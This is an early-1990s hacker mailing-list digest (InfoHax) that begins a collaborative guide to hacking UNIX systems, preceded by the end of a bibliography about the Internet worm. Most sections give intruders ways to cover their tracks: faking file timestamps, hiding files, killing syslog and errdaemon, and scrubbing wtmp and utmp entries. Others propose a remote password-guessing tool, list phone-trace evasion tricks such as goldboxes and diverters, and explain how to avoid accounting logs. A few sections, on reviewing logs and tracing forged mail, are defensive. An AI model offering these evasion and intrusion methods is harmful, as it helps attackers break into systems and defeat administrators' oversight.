Massachusetts Institute of Technology. February 1989. +[Farr90] + Farrow, Rik. "Inside the Internet Worm" `UNIX World', June 1990. +[Geer90] + Geer, Daniel E. Massachusetts Institute of Technology, Project Athena. + Personal Communication, June 1990. +[Haye90] + Hayes, Frank. "Is Your System Safe?" `UNIX World', June 1990. +[Hayn89] + Haynes, Jim. University of California, Santa Cruz. Personal + Communication, May 1989. +[McKu89] + McKusick, Marshall K., Sam Leffler, Mike Karels, John Quarterman. + `The Design and Implementation of the 4.3BSD Unix Operating + System'. Addison-Wesley, 1989. +[Mens90] + Mensch, Henry. Massachusetts Institute of Technology, Project Athena. + Personal Communication, June 1990. +[Morr78] + Morris, Robert H., and Ken Thompson. "Password Security: A Case + History." `Communications of the ACM', 22 (11): 549-597, November + 1979. Reprinted in `UNIX System Manager's Manual', 4.3 BSD. + University of California, Berkeley. April 1986 +[Neme89] + Nemeth, Evi, Garth Snyder, Scott Seebass. `UNIX System + Administration Handbook'. Prentice-Hall, 1989. +[Ritc75] + Ritchie, Dennis M. "On the Security of UNIX." May 1975. Reprinted in + `UNIX System Manager's Manual', 4.3BSD. University of California, + Berkeley. April 1986 +[Seel88] + Seeley, Donn. `A Tour of the Worm'. Department of Computer + Science, University of Utah. December 1988. +[Spaf88] + Spafford, Eugene H. `The Internet Worm Program: An Analysis.' + Technical Report CSD-TR-823. Department of Computer Science, Purdue + University. November 1988. +[Stol89] + Stoll, Clifford. `The Cuckoo's Egg'. New York: Doubleday, 1989. +[Wood79] + Wood, Patrick, Stephen Kochan. `UNIX System Security'. Hayden + Books, 1979. + + + + InfoHax Digest, Number 1 + + Saturday, January 25th 1992 + +Today's Topics: + + welcome.hax + form.0 + sysadmin.comments + frm.paper + frm.mentor.paper + shell.tools + phone.trace.evsn + BSD.accnt.files + trace.fakemail.gd + IP.tracing + more.IP.tracing + rfc931 + hacker.trkr.tools + hideum.pl +---------------------------------------------------------------------- + +Date: Fri, 24 Jan 92 18:04:41 -0700 +Subject: welcome.hax + +***************************************************************************** + WELCOME TO PROJECT: INFOHAX +***************************************************************************** + Project: INFOHAX is an invitation only project to write the most explicit +and complete guide to hacking UNIX systems that has ever been put out. We +are starting with a 150k paper as an outline, filling in all the holes/tricks +and expanding on it substantially. + Project durration is set at 1+ year, with digests comming out once a week, +delphi style, perhaps more often if the traffic warrents it. +***IN ORDER TO GET FURTHER DIGESTS YOU NEED TO SUBSCRIBE TO THE LISTSERV.*** + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +we also have a passworded fileserver, Details to follow. +send mail to: + LISTSERV@STORMKING.COM +with + SUBSCRIBE INFOHAX User_Name +in the msg body +if you have not been confirmed, you will be rebuffed. +to access the fileserver send mail to: + LISTSERV@STORMKING.COM +with + HELP + INDEX INFOHAX /silicon_lollipop +in the msg body +for confirmation or to get a copy of the 'outline paper' contact +tangent@stormking.com +so far confirmed people are: + Knight Lightning (craig) Nikita + Taran King (randy) Calculite (shannon) + Tuc Tangent (nate) + Sir Frances Drake (steve) Judge Dread (sam) +some people we havn't heard back from or havn't got confirmations from: +Erik Bloodaxe +Dispater +you're in if you wanna be, let us know. +These people have been recomended by someone and need to be voted on: +please vote on a 0-10 scale, 0=NO 5=I_DONT_CARE 10=YES +PHz (by dispater) Amoeba+Entity+Flex +Rosco (by tuc+tangent) frm cccan (by tangent) +Feanor (by dispater) Furryeel (by tangent) +THFC ? (by kl - please clarify) Rop (by tangent) +if anyone has suggestions for additional people, please let me know. +if anyone has strong feelings one way or the other on any of these people, +voice um! +SO HOW DOES THIS WORK? + We're trying to work it like a delphi right now. A delphi is a think tank +technique where you present an idea to work on, and send it out to people +to work on, solve problems, submit info, ask/answer questions, comment on, +etc. in a little less than a week send in what you have so far, and it will +all be bundled into digests and sent out again... the list is moderated so +some sorting/organising can happen before it goes out again. then people +keep working on what they were, but have feedback and fresh material from +everyone else... it's a really powerfull technique, so I hope it works for +us. I think there will be some rough edges to work out, as to the methods, +hopefully this wont take too long. + I put out a form (see below: form.0) to help organise info, and keep +track of things, please use it! the header and tail should be used for +feedback, and discussions, please save bandwidth and nuke the 'DATA:' +section, except for BRIEF extracts of the text being commented on. + Also PLEASE SEND COMMENTS ON DIFFERENT SECTIONS IN DIFFERENT E-MAIL, +that will make sorting sooooo mutch easier, a section name in the +'Subject' field would be nice too... + PLEASE NOTE THAT THE LISTSERV WILL NUKE THE FROM LINE OF YOUR EMAIL, +if you want people to know who wrote what you just sent in, put your +name or handle in the body of the message. + If you're submitting original material, please use the whole thing. We +will assighn a section # to avoid chaos... + Also if you have input on the genneral form of the project, discussions +that don't relate to a particular area, etc. please send a form with a +header/subject line of DISCUSSION these will be collected together at the +begiinning of the digests. The methods/form of the project are totally +variable, and I encourage you to suggest changes, we may throw the delphi +out all together, it's a starting point, nothing more. If you don't like +it say so! + If you see something referenced that you don't understand, ask about it. +If you see a trick mentioned, but not explained, that you know something +about, or have ideas on - even if you don't totally grok it, send in what +you know, or ideas about how it might work. There are alot of little +sections that need to be worked on. If you have something to say about it +do!, even if you're not the person working on it. If you see a section +that you'd like to work on, adopt it. basicly we get alot better info if +people arn't territorial about a section they are working on, and accept +/incorperate input. + In other words we're working under total anarchy! be nice to each other, +cooperate, and lets not have any flame wars... +PROJECT OUTLINE: + the main sections of the original paper follow, after that some additions: +Theory Devices +Network Security Monitoring +Other Network Services Net Monitoring +Accnt Security Accnt Monitoring +File System Security File System Monitoring +Setgid Programs Know your System +Startup Files Improving Your Security +User Utils Pollicies +Programming Utils Countermeasures +Encryption Biblio +additions: +How not to get caught - logging, covering tracks, laundering calls, becoming + invisable to the system, who's on, housecleaning, hiding setuid, trojans,.. +Getting in the Door... +Getting Root +Setuid Progs/shells +Passive Snooping +Network Spoofing +Patch Level and Version History + this list is far from complete, please suggest additions!, oh yeah, a large +collection of exploitation type code/scripts at the end. + if anyone would like to start filling in the outline/TOC that would be +great! + This first chapter is on how not to get caught. It will effect all the +other areas of the paper and is going to be revisited/added to as we visit +every other chapter. It's also a good springboard to get folks started in +on other areas. I'm not shure if it's best to hop arround at random doing +different sections in parrallel, or sequentially chapter by chapter... +feedback? + This first digest has the following areas to stimmulate discussion: +sec01: sysadmin.comments - on logging +sec02: frm.paper - what we're expanding on +sec03: frm.mentor.paper - prev work to build on +sec04: shell.tools - proposed tools by calculite, some comments + by tangent +sec05: phone.trace.evsn - info in evading phone traces +sec06: BSD.accnt.files - summary of w/ notes on exploiting +sec07: trace.fakemail.gd - slightly dated, lotta good tricks to tease out +sec08: IP.tracing - discussions on hacker trackers +sec09: more.IP.tracing - more of above +sec10: rfc931 - bad news... need to find ways arround this. +sec11: hacker.trkr.tools - how we get caught... +sec12: hideum.pl - pearl script for nuking /utmp entries + Some areas that need discussion are weather we should include available +material, or just ref it. examples include mentors paper, rfc931, phracks +'hiding out under unix', and another phrack artical on getting lost (title?) + My thoughts are to include it if it's short, or at least stick it on the +file server... feedback? +Obvious areas (in this chapter) that need something written about them are: + UUCP logging evading phone traces + SysV log summary UNIX as outdial + IP spoofing terminal servers and gateways + If you feel you have a specialty area, please list it, and start work on +that area (with a partner or two if there's overlap), though everyone should +comment/contribute to all areas, if possable. This is supposed to be a +democracy, so if you want to change what I'm outlining, please submit your +ideas and the group can hash it out. Don't get overwelmed!, if we took 2wks +on eash major area, this project would take a year, It's probably going to +take more than that... remember, we're basicly writing a BOOK! + we can officially consider this project underway, expect mailings every wk, +perhaps twice a wk when things get going well! + Happy Hacking! + Tangent +----------------------------------------------------------------------------- +------------------------------ + +Date: Fri, 24 Jan 92 18:14:48 -0700 +Subject: form.0 + + In an attempt to keep things organised from the start I put together a +form for communication. The sole purpose of this is to be able to easily +refer to what's been done, keep track of revisions, and cross ref comments +and pointers to other sections... + Please buffer, and USE this for communication: +--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<---- +============================================================================== +Section Name chapter.sec.version 00/00/00 +------------------------------------------------------------------------------ +DATA: +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +---8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--snip--8<--- +where: +Section Name - is the name of the sevtion within the chapter. +chapter.sec.version - is the overall ref, version starts at 0, and goes up + just like software or OS releases +00/00/00 - is the last revision date +DATA: - is material submitted, or commented on, or exploitation type code (for + this chapter = code, and sec = chapter), etc. another chapter Biblio: - works + the same way. The DATA area is for ORIGINAL material being submitted, or for + REVISIONS (one person ties all replies together, and puts together a revision) + the idea here is to keep the bandwidth down, and avoid the redundancy of + newsgroups... +------------------------------------------------------------------------------ +Comments: this is a 'maybe this would be possable' type area, or gen comments + on the DATA sec, you can eithor reply by interspercing comments in the data + via '>'s or put um here, and nuke the data for replies, as everyone will + allready have the data. +Q's: how is this done, anyone know about this, etc... type area... +Biblio: refs to go in the biblio chapter +CrossRef: this ties in to, or could be used in chp#,sec#... +Code/shRef: exploitation type code, or shell scripts for the code chapter, ref + to, code should go in the Data sec of message. +------------------------------------------------------------------------------ + OK, so maybe this isn't perfect, not shure how it will work, but it WILL +make life soooo mutch easier a couple of months down the road, and when it +goes to final edit... + If anyone has comments on how to improve this, or do it better, speak up!, +once this is set, we're going to be stuck with it for the whole project. + Also, to make things more clear, the DATA area is what will be eventually +published. The leading, and trailing headers are to keep track of it, and +talk about it(DATA). +------------------------------------------------------------------------------ +------------------------------ + +Date: Fri, 24 Jan 92 18:20:48 -0700 +Subject: sysadmin.comments + +============================================================================== +Section Name chapter.sec.version 00/00/00 +sysadmin.comments 01.01.0 01/21/92 +------------------------------------------------------------------------------ +DATA: +17) OK, finally, logs. I read every log that grows without bounds, +including daemonlogs that would show unauthorized reboots if not altered. +I never found anything odd in ptydaemonlog or vtdaemonlog, or any unreason- +able reboots, startups, shutdowns, etc., although I kept reading the logs +anyway. +Obviously I reviewed sulog, but I never found anything in there +either, although possibly the fact that I disabled su early on had something +to do with that :). +I also read my own .x11startlog, which would show startup times for +X windows on the console; that was always clean. +The ones that I did find things in were /etc/btmp and /etc/wtmp, +expecially wtmp...I'm not sure how familiar you are with the format of +these, so just to summarize, they give username, tty, time on and time off. +btmp is the bad login attempt log, wtmp the successful login attempt log. +I rather imagine that a dialup cracking attempt by an outsider would tend +to generate more btmp entries, but on my system the interesting stuff was +usually in wtmp. Anyway: +In the log of bad logins, btmp, you look for repeated login attempts +for a single user, especially if they are clustered around the same time, +and especially if there are a large number of login attempts which don't +show any typographical errors in the user name. A third to a half of +legitimate entries--that is, failed logins by authorized users--in btmp +will show typos in entering the username, or sometimes weird character +strings that indicate somebody leaned on the keyboard. Some of them will +show passwords typed in where usernames should be, which is why btmp is +supposed to be readable only by root. I imagine that dialup will show +some 'line noise' failures. My users were on hardwired terminals, so that +didn't appear. +Large numbers of failed entries for a single user in which the user- +name is typed correctly mean either that a legitimate user has forgotten his +password, a legitimate user is typing spastically this morning, or somebody's +trying to crack that account. I'd ask the user if he was doing something +that would have led to all the bad attempts; sometimes the answer was yes, +in which case I could get him a new password or forget it. If it's no, +I know I have a problem. +The other pattern that sometimes occurs is 'sweeps' across large +numbers of usernames, usually typed correctly, clustered at the same time +and originating from the same terminal. This is almost always cracking, +if it shows up in btmp. +What is never anything but cracking is the appearance of login attempts +for reasonable guesses at usernames that don't happen to exist on your system. +The 'sweep' pattern, in our company, could be legitimate if it showed +up in wtmp, the log of successful logins, because certain trusted department +heads were authorized to login as their subordinates and occasionally did so +for administrative purposes. In this case, the sweep usually originates at +a single terminal, generally the department head's, and covers that department +only. +I looked for a string of fairly obvious things in wtmp: simultaneous +logins by the same user, users logged in at unusual times or from unusual +ports, off-console root logins, etc. This actually took the most time, and +is the one I did the most asking about--hey, Rita, did you log in in Ben's +office yesterday? and so forth. +The larger the system and # of users, obviously, the harder this +is to do. I could have started correlating wtmp and btmp entries, but +never got the time to write the script. We also didn't have auditing enabled +because I didn't get a chance to put it up, because I was under pressure to +get the system operational. That was probably a mistake, although it wouldn't +really have changed the final outcome of anything. +I did pin down a major security breach with this procedure, because +I found one more off-console root login than I knew was legitimate, which +neither I nor the assistant administrators could account for. I found the +damage not long after, although it took me, honestly, about two weeks to +figure out why that particular item had been changed (It's not a secret, but +definitely belongs in another letter, so I'll save it). +This approach obviously has a flaw (aside from not having auditing) +in that I obviously wouldn't see a breach that involved someone else logging +in at a user's regular terminal at a reasonable time for that user to be +there, which I strongly suspect happened more than once. Auditing would +have caught anomalous system activity in that case if file permissions +had been changed. It couldn't have caught the falsifying of information +within the scope of the user's normal routine--if someone logged in as +the bookkeeper in the right place at the right time calls up the usual +programs and does everything except enter the numbers straight, there is +no way to pick that up with auditing. +Since I will have auditing up when I go up on the net, the report +we ought to be able to compile on this subject after the experiments ought +to be much more complete, and I'm looking forward to it as it should be +fascinating. Thanks :) +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 18:25:13 -0700 +Subject: frm.paper + +============================================================================== +Section Name chapter.sec.version 00/00/00 +frm.paper 01.02.0 01/21/92 +------------------------------------------------------------------------------ +DATA: + In general the intruder can cover his own tracks. Detecting Intrusion +therefor depends on on the intruder neglecting to do so, plus the +installation of log keeping. The existence of log keeping should be +somewhat secret to increase the probability that the intruder will +unwittingly reveal his acts and methods. + The best logkeeping consists of writing to a hardcopy device so that +the intruder cannot erase the log. + Sometimes a single slip-up by an intruder will reveal a huge case of +previously unsuspected penetration. +SYSLOG +------ + The syslog facility is a mechanism that enables any command to log error +messages and informational messages to the system console, as well as to a +log file. Typically error messages are logged in the file +/usr/spool/log/syslog along with the date, time, and name of the program +sending the message to the program. +Example: +DEC 24 12:10:06 WS1 NNTPXMIT: greet=520 SAMT 19 NNTP server can't talk to you +DEC 24 14:53:37 WS1 LOGIN: root login ttyp3 from WS2.podunk.edu +DEC 25 08:02:03 WS1 LOGIN: root login ttyp4 from wizard.hack.com +DEC 25 08:28:52 WS1 SU: joueuser on /dev/ttyp3 +DEC 25 10:23:41 WS1 VMUNIX: /: file system full +DEC 25 11:30:42 WS1 LOGIN: repeated login failures on ttyp3 from + sys1.podunk.edu, daemon +DEC 25 11:45:08 WS1 NNTPD: rnews: inews: comp.foo: no valid newsgroup found + Of particular interest are the messages from the login and su programs. +Wheneverr someone logs in as root login logs this informtion. In general +logging in as root directly, as opposed to using the su program is better +as it is harder to tell which person is actually using the accnt. + Login also logs any case of someone repeatedly trying to log into an +account and failing, 3 consecutive times. + These messages can be used to check for users sharring accounts, as well +as hacking attempts. +SHOWMOUNT +--------- + Can be used on a NFS file server to show the names of all hosts that +currently have something mounted from that server. + w/ no options just shows a list of all the hosts. + w/ '-A' shows all the hosts and directory combinations ie: + ws1.cs.podunk.edu:/usr/local + bart.podunk.edu:/var/spool/mail + maggie.podunk.edu:/usr/local + w/ '-D' shows a list of all directories mounted by some host. + Showmount's output is checked for 2 things, first, only machines local +to the systems organization should appear there. Second, only "normal" +directories should be mounted - unusual directories being mounted may +indicate a hacking attempt. +FTP LOGGING +----------- + Some versions of ftp allow administrators to turn on and off logging +information. The standard BSD4.2 does not, but there are publiclly +available patches to the code to enable this feature. + Example: + @ws5.cs.podunk.edu (bsimpson) wed may 30 19:32:11 1990 + get /pub/gnu/gcc-11.37.tar.Z + @131.170.8.11 (intruder) wed may 30 22:13:01 1990 + get /etc/passwd + put /pub/annoying-msg + jueuser@podunk.edu wed june 6 08:19:16 1990 + get /pub/sun-source/faces-1.3.tar.Z + get /pub/gnuemacs-18.55.tar.Z + In the case where lines begin w/ an '@', an anonymous ftp was done. The +password given by the user (they ask for username, sometimes site name / +address - will usually take anything) is in parenthesis after the hostname. + In the case where lines start w/ a username, a normal user has logged on +to transfer files. + Whenever you transfer files with ftp, the manager will know what login +was used, what files were transfered, and to what site. + (use a login, not your own , rename the files, and site hop...) +ACCOUNT MONITORING: +------------------- + Accounts are monitored to check for: + A) users logged in when they shouldn't be (i.e. late at night, when + the're on vacation, etc) + B) users executing commands they wouldn't normally be expected to use. +LAST +---- + Last looks back in the wtmp file which records all logins and logouts +for information about a user, a teletype or any group of users and teletypes. +Arguments specify names of users or teletypes of interest. Names of teletypes +may be given fully or abbreviated. For example, LAST 0 is the same as LAST +TTY0. If multiple arguments are given, the information which applies to any +of the arguments is printed. For example "last root console" would list all +of root's sessions, as well as all sessions on the console terminal. + Last displays the sessions of of the specified users and teletypes, most +recent first, indicating the times at which the session began, the duration +of the session, and the teletype the session took place on. If the session +is still continuing or was cut short by a reboot. + With no arguments, last displays a list of all logins and logouts, in +reverse order. + Example: +$ last -4 joeuser +joeuser ttyp1 ws1.cs.podunk.e wed jun 6 10:04 still logged in +joeuser ttyp3 bart.poduke.edu tue jun 5 15:01 - 15:01 (00:00) +joeuser ttyp0 maggie.podunk.e tue jun 5 10:05 - 19:44 (09:38) +joeuser console ws2.cs.poduke.e tue jun 5 09:49 - 10:05 (00:16) +LASTCOMM +-------- + Lastcomm gives information about previously executed commands. Without +any arguments it gives information about all the commands recorded durring +the the current accounting files lifetime. If called with no arguments, it +displays information about all the commands recorded durring the current +accounting files lifetime. If called with arguments it only displays +accounting records with a matching command name, user name, or terminal name. + Example: + $ lastcomm + who simsonb ttyp0 0 secs wed jun 6 10:03 + mesg joeuser ttyp1 0 secs wed jun 6 10:03 + biff joeuser ttyp1 0 secs wed jul 6 10:03 + csh F joeuser ttyp1 0 secs wed jul 6 10:03 + killercracker intruder ttyp4 7240 secs wed jul 6 08:01 + . . . + For each process entry, lastcom displays the following items of +information: + The command name under which the proccess was called + One or more flaggs indicating special information about the process, + the flags have the following meanings: + F The process performed a fork, but not an exec + S The process ran as a set-user-id program + D The process dumped memory + X The process was killed by some signal + The name of the user who ran the process + The terminal which the user was logged onto at the time (if applicable) + The ammount of CPU time used by the process (in seconds) + The date and time the process exited +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 18:34:31 -0700 +Subject: frm.mentor.paper + +============================================================================== +Section Name chapter.sec.version 00/00/00 +frm.mentor.paper 01.03.0 01/21/92 +------------------------------------------------------------------------------ +DATA: + ls -l will tell you the last time a file was modified, make a note of +this when you tamper w/ a file, and set it back w/ the touch command when +you are finnished, syntax is: +touch hhmmMMdd [file] + Where hh is hour, mm is minute, MM, is month, and dd is the day, [file] +is obvious... + What usually gives away hackers is the files they create on systems. If +you must make files and directories on systems, make use of the hidden file +feature ('.filename'). Also try to hide them in directories that are rarely +ls'd, such as /usr/spool/lp, /usr/lib/uucp, etc. + If you replace a users file with a modified copy, this copy will be owned +by your account and group instead of the account which owned the original. +You can change the group back w/ the chgrp command. syntax is: +chgrp [groupname] [file] +and change the owner back w/ the chown command: +chown [user] [file] + If you do something wrong, assume a note of it was recorded somewhere on +the system. Leave the system and it's files exactly as you found them. + If you think it would go unknowticed, and your expection to ring alot of +bells you can turn off system logging (if you have root). +BSD ERROR LOGGING +----------------- + Type "cat /etc/syslog.pid", this file contains the process number of the +syslog (error logging) program. Kill this process, and you have stopped +error logging. Remember to start it back up when your through. + If you want to see where the error logging messages are sent, type: +cat /etc/syslog.config +Entries are in the form: +#file +Such as: +5/etc/errorlogfile + The number is the priority of the error, and the file is the file that +errors of that level are sent to. If you see an entry with /dev/console as +it's log file, watch out! Errors of that priority are sent to the system +console. Sometimes a list of usernames will follow an entry for errorlogging. +This means that these users will be notified of any errors of that priority +or higher. + There are 9 levels of error priority's, 1 is lowest, 5 is the lever of +errors gennerally caused by hackers - security violations, bad login and su +attemps, attempts to access files w/ out proper permissions..., level 9 +is a system crash. +SysV ERROR LOGGING +------------------ + The SysV error logging prog is errdaemon, to find it's pid type "ps -uroot" +among roots processes you will find /etc/errdaemon. If you kill it there will +be no more logging till you start it again. By default it writes errors to +the /usr/admin/errorfile. + To get a report of errors type: +errpt [-a] /usr/adm/errfile +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 18:44:10 -0700 +Subject: shell.tools + +============================================================================== +Section Name chapter.sec.version 00/00/00 +shell.tools 01.04.1 01/22/92 +------------------------------------------------------------------------------ +DATA: +I'll try to write a summary right now. It won't be in the proper format, but +it's not a final submission, either... +BEGIN SHELL SCRIPT SUMMARY +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +Something that could come in handy for hacking UNIX systems would be a shell +script that would automate the following: +1) disable logging +2) edit standard logs to remove lines containing the account name that's being + used (when logs don't exist, inform the user) +3) remove information from the utmp file for the account name that's being + used in order to avoid detection + (write privs to utmp requires root privs on anything but a sun) +4) reenable logging when the user is done + (unless you are alone, it might not be a great idea to disable/reenable + logging, might look abit fishy ... how about just nuking log entries + for your username/uid/pid) +and possibly do the following: +1) alert the user when users log on and off + (how about just people w/ privs, or owner of accnt) +2) attempt to exploit known bugs and edit appropriate logs +This script could be uploaded after the user has obtained access to a system +and be executed with possible options to disable functions when they're not +desired. +(other things: set up a working subdir + store + restore .history (if present) + 1 key macro to nuke subdir, logout, and suicide process ) +END SHELL SCRIPT SUMMARY +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +BEGIN HACK PROGRAM SUMMARY +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +Another useful tool would be a program that would connect to port 25 of a +target system and attempt passwords from a dictionary on standard usernames +(guest, anonymous, ingres, new, apply, etc..) and usernames obtained manually +by the user. This would operate much like an /etc/passwd cracker, but would +actually try acct/passwd combinations over the net. NOTE: This should be used +only as a last effort from a safe acct. It will, no doubt, affect logs on +systems that log failed attempts. Possible sources for code: generic net +interface code, MUD 'bot code, telnet source. +A friend of mine wrote a telnet scanner that brought net connections to a crawl, +he just did it sequentially, w/ no delay... a very irate sysadmin dragged him +into his office and very nicely told him to never ever do that again... + a little break between calls is important! +END SUMMARY +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +-- +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +Shannon Robert Madsen / Calculite | mtymp10@ux.acs.umn.edu +"To err is human; to moo, bovine." | "Religion is the opiate of the masses." +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 18:52:14 -0700 +Subject: phone.trace.evsn + +============================================================================== +Section Name chapter.sec.version 00/00/00 +phone.trace.evsn 01.05.0 01/24/92 +------------------------------------------------------------------------------ +DATA: + Don't have mutch for this area yet. some stratagies are: +use a goldbox +use a diverter +radio or cordless phone 1/2 in a bbox, 1/2 a safe distance away. +use call forwarding to forward to a phone in a different babybell's area, +then send it through MCI (refuses to provide call records in court) or to +thriftytell(flat rate service w/ no call detail records) + PLEASE ADD TO THIS! +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 18:57:04 -0700 +Subject: BSD.accnt.files + +============================================================================== +Section Name chapter.sec.version 00/00/00 +BSD.acct.files 01.06.1 01/18/92 +------------------------------------------------------------------------------ +DATA: +SUMMARY OF BSD ACCOUNTING FILES: +-------------------------------- +data kept filename type owner group mode note +---------------------------------------------------------------------------- +CPU,memory,i/o /usr/adm/acct binary root system 644 (1) +connect time /usr/adm/wtmp binary root system 644 (2) +disk usage the file system n/a root operator 640 (3) +printer usage /usr/adm/lpacct text daemon daemon 644 (4) +dialout usage /usr/adm/aculog text uucp daemon 644 (5) +console msgs /usr/adm/messages ? root system 664 (6) +shutdown reasons /usr/adm/shutdownlog ? root system 664 (7) +time daemon log /usr/adm/timed.log ? root system 644 (8) +uucp transaction /usr/spool/uucp/LOGFILE ? uucp daemon 664 (9) +uucp file transfer /usr/spool/uucp/SYSLOG ? uucp daemon 664 (10) +network routing /usr/adm/gatedlog ? root system 644 (11) +news connection .../news/nntp/logfile ? news news 644 (12) +---------------------------------------------------------------------------- +1)accton(?) turns on accounting, sa(?) used to read, with the '-s' flag will +summerize CPU usage by command, and TRUNCATES /usr/adm/acct to ZERO LENGTH! +all commands executed once or with unprintable chars show up as '***other' +(hmmm..), the system automatically suspends accounting if the file system +that contains the accounting data becomes 95% full. If the machine crashes +or is rebooted, processes that were running are not recorded in the CPU acct +file, you can avoid cpu accounting by having your program sleep indefininatly +upon completion as a program that never terminates does not produce any +accounting record. (sleep(?) is also a good alternative to at and cron for +hiding periodic processes). man acct(5) +4)can also be set via a macro in /etc/printcap +5)records login name, date, time, phone number, and status of all calls made +through a dial out modem via the cu(?), tip(?) and uucp family of commands. +If you are allowed to talk directly to the modem via a dialer entry in the +file /etc/remote then the command 'tip dialer' will circumvent the +accounting process. +6)also messages.N where N is from 0 to 6, usually. +9/10)This is for V7 UUCP, HDB (as in SunOS 4.x) is under /usr/spool/uucp/.Log +/{uucp,uucio,uux,???}/ +8/11/12)These are not standard, though many systems have them. Also, the +filenames are compile time options (or set in config files)... +---------------------------------------------------------------------------- +Q's)"owner, group, and mode(octal) of the accounting data files is important +and that any program used to reinitialize these files should be shure to +chown, chgrp, and chmod appropriatly" - so what happens if these are altered? + will a prog that 'unlink argv[0];'s be logged? + what about if the utmp entry is zero'd out? + other tricks? +------------------------------------------------------------------------------ +Comments: +Q's: +Biblio: +CrossRef: +Code/shRef: +============================================================================== +------------------------------ + +Date: Fri, 24 Jan 92 19:29:37 -0700 +Subject: trace.fakemail.gd + +============================================================================== +Section Name chapter.sec.version 00/00/00 +trace.fakemail.guide 01.07.0 01/21/92 +------------------------------------------------------------------------------ +DATA: +Phil Goetz asked how to trace forged mail. The short answer is: use +log files and talk to other sysadmins so they'll do the same. +A forged messages is injected into the mail system at some point, with +a particular set of header lines. The header lines inserted after that +point will be real. You can verify that the lines are real by checking +the logs on each system to see that they match what's in the message. +When you find a discrepancy, you are close to the insertion point. +Then you can poke around there to determine how the forged message was +inserted into the mail system, and by who. As you'll see, there are +lots of places where it could've come in. +The long answer is specific to the programs involved. My description +covers sendmail and uucp. I encourage people to clean up this +description and add their own ideas, suggestions, and mailer programs. +Look in the message for its message-ID and Received: lines. These will +tell you what systems the message has gone through. Start with the +last system (the recipient's system). Check the sendmail log (or +equivalent) for that message-ID. This will let you map the message-ID +to a queue-ID (generally AAxxxxx or ABxxxxx) which is in every log line +that refers to this message. The log will show the message-ID, a from= +line, and a set of to= lines indicating how it was delivered. If the +log entries are there, you can probably believe the Received: line for +that time, which indicates where the message came from. If it came +from an Internet site, go back to that site and check its logs. If it +came from uucp, sendmail won't know its origin, but you can check the +uucp logs for a line at that time indicating "XQT (...rmail...)". [If +you don't find one, the message was probably inserted onto your system +by running sendmail or /bin/mail manually.] +The system name in the uucp log "XQT" line will tell you part of the +file name of the incoming mail. Probably the message came from that +system, but uucp doesn't check for this, so somebody could've sent you +uucp files containing somebody else's system name. Look back in the +log for files coming in with this system name in the filename. You can +also look in the uucp SYSLOG file, which contains the size of each file +transferred, to help figure out which file contained the message. In +some cases there is no way to unambiguously track the message here +(until uux and uuxqt logging is improved to show the queue ID that it's +executing). But in most cases you'll find where the message came in +from. Contact the site admin for that site, indicate that you received +the message at such and such a time, and have them check their uucp +logs. They should find that the message was transferring at the same +time. If not, it means somebody called your system and claimed to be +them doing uucp; if you have a separate uucp login/password per site, +you'll know that either you or they let the password get out. Change +it. (Note that anyone who is root on their system can read this +password out of their L.sys file.) If you don't have a separate uucp +login/password for each site, fix this! You can't tell when your +password is leaked, which site it leaked through! Also, don't put +phone numbers and uucp logins in email; tell the remote site by phone. +If you don't know their phone number, find it out -- how are you going +to tell them about troubles on your uucp link when your link is broken? +If the other site finds that the same files were moving in their logs +as in your logs, then have them scan back through the log to find an +XQT QUE'D entry for this message. You should know what's in the rmail +command's arguments (since they're in your XQT log message) and the +same arguments will appear in the XQT QUE'D message. That shows you +the date and time when the message entered the uucp queue on their +system. Then their site admin can cross-reference to the sendmail log +to verify that the message exited sendmail at the same time it entered +uucp (if not, the message was inserted manually by someone running a +"uux" command on their system), and trace the sendmail log back. They +can also check the Received: lines in the message to help find it in +the sendmail log, or simply grep for the message-ID. +If the message had come into sendmail via an SMTP connection rather +than via uucp, the Received: line should say "Received: from xxxxx". +If there are two addresses in XXXXX then check both of them; one is how +that site identified itself in the SMTP protocol; the other is what the +host table said about the Internet address where the connection is +coming from. Have the site admin on that/those sites check their logs +and work back from there. If there is no record of sendmail handling +the message on that site, but your sendmail says it was received from +that site, either someone on that site inserted the message (e.g. by +doing "telnet yoursite smtp") or some other site impersonated their IP +address. (A third possibility is that your host table or domain name +cache has been hacked to make the site-they-connected-from appear to +have the name of some other site). Start poking around with what +users and processes were running on their system, and double-check +the name server or hosts file on your system. +Checking the "last" and "lastcomm" and cron logs may also be quite +helpful to find sendmail and uucico and uux runs, either to +disambiguate other log entries or if you lose the trail. It would help +a lot to have an inetd log, too; has anyone hacked this into inetd? +(Inetd is the master daemon that handles incoming connections for a +whole mess of protocols, including telnet, rlogin, 